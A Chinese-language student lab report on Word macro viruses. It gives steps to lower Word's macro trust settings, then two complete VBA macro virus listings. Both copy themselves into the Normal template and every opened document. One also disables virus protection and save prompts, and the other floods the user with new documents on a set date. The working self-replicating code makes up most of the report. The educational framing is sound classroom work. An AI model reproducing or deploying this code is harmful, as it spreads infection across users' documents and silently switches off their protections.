..宏病毒实验报告201424010257邹文敏一、实验目的通过运行计算机代码,更加深刻的理解计算机代码。对计算机代码有一个初步的认识。加深对宏病毒的感性认识,宏病毒是感染数据文件word,office等。二、实验内容运行自我复制,感染word公用模板和当前文档;具有一定破坏性的宏;清除宏病毒。三、实验步骤实验一:将word文档中的开发者工具打开;word中心→信任选项→宏设计将信任选项打开运行第一个实验VisualBasic→normal→Microsoft→thedocumentProject→microsoftword对象→thedocument复制如下代码:'APMPPrivateSubDocument_Open()OnErrorResumeNext..Application.DisplayStatusBar=FalseOptions.VirusProtection=FalseOptions.SaveNormalPrompt=False'以上都是基本的自我隐藏措施MyCode=ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1,20)SetHost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThen_SetHost=ActiveDocument.VBProject.VBComponents(1).CodeModuleWithHostIf.Lines(1,1)'APMPThen'判断感染标志.DeleteLines1,.CountOfLines'删除目标文件所有代码.InsertLines1,MyCode'向目标文档写入病毒代码IfThisDocument=NormalTemplateThen_ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndWithMsgBoxBasicclassmacrobyjackie,vbOKOnly,APMPEndSub保存时注意保存为宏文件..实验一运行截图:清除实验一中的内容只需要删除,thedocument中的内容在保存即可。实验二:编写代码的位置同上;..代码如下:'moonlightDimnm(4)SubDocument_Open()'DisableInput1Setourcodemodule=ThisDocument.VBProject.VBComponents(1).CodeModuleSethost=NormalTemplate.VBProject.VBComponents(1).CodeModuleIfThisDocument=NormalTemplateThenSethost=ActiveDocument.VBProject.VBComponents(1).CodeModuleEndIfWithhostIf.Lines(1,1)'moonlightThen.DeleteLines1,.CountOfLines.InsertLines1,ourcodemodule.Lines(1,100).ReplaceLine3,SubDocument_Close()IfThisDocument=NormalTemplateThen.ReplaceLine3,SubDocument_Open()ActiveDocument.SaveAsActiveDocument.FullNameEndIfEndIfEndWithCount=0IfDay(Now())=25Thentry:OnErrorGoTotrytest=-1con=1tog$=i=0Whiletest=-1Fori=0To4nm(i)=Int(Rnd()*10)con=con*nm(i)Ifi=4Thentog$=tog$+Str$(nm(4))+=?GoTobegEndIf..tog$=tog$+Str$(nm(i))+*Nextibeg:Beepans$=InputBox$(今天是+Date$+,跟你玩一个心算游戏+Chr$(13)+若你答错,只好接受震撼教育......+Chr$(13)+tog$,台湾NO.1MacroVirus)IfRTrim$(LTrim$(ans$))=LTrim$(Str$(con))ThenDocuments.AddSelection.Paragraphs.Alignment=wdAlignParagraphCenterBeepWithSelection.Font.Name=细明体.Size=16.Bold=1.Underline=1EndWithSelection.InsertAfterText:=何谓宏病毒Selection.InsertParagraphAfterBeepSelection.InsertAfterText:=答案:Selection.Font.Italic=1Selection.InsertAfterText:=我就是......Selection.InsertParagraphAfterSelection.InsertParagraphAfterSelection.Font.Italic=0BeepSelection.InsertAfterText:=如何预防宏病毒Selection.InsertParagraphAfterBeepSelection.InsertAfterText:=答案:Selection.Font.Italic=1Selection.InsertAfterText:=不要看我......GoTooutElseCount=Count+1Forj=1To20BeepDocuments.AddNextjSelection.Paragraphs.Alignment=wdAlignParagraphCenterSelection.InsertAfterText:=宏病毒IfCount=2ThenGoTooutGoTotryEndIf..WendEndIfout:EndSub运行截图:①运行错误时:②运行错误时:..最后清除病毒时首先用快捷方式ctrl+alt+delet打开任务管理,之后结束进程,删除写病毒的文档,好了,文档中的病毒已经被删除了!四、心得宏病毒的使用在word文档中一旦被感染不删除的话会一直感染下去,致使电脑死机。宏病毒,宏病毒主要感染数据文件即非可执行文件。平时注意word文档中的信任选项和病毒漏洞的防护哟!单纯的课本内容,并不能满足学生的需要,通过补充,达到内容的完善教育之通病是教用脑的人不用手,不教用手的人用脑,所以一无所能。教育革命的对策是手脑联盟,结果是手与脑的力量都可以大到不可思议。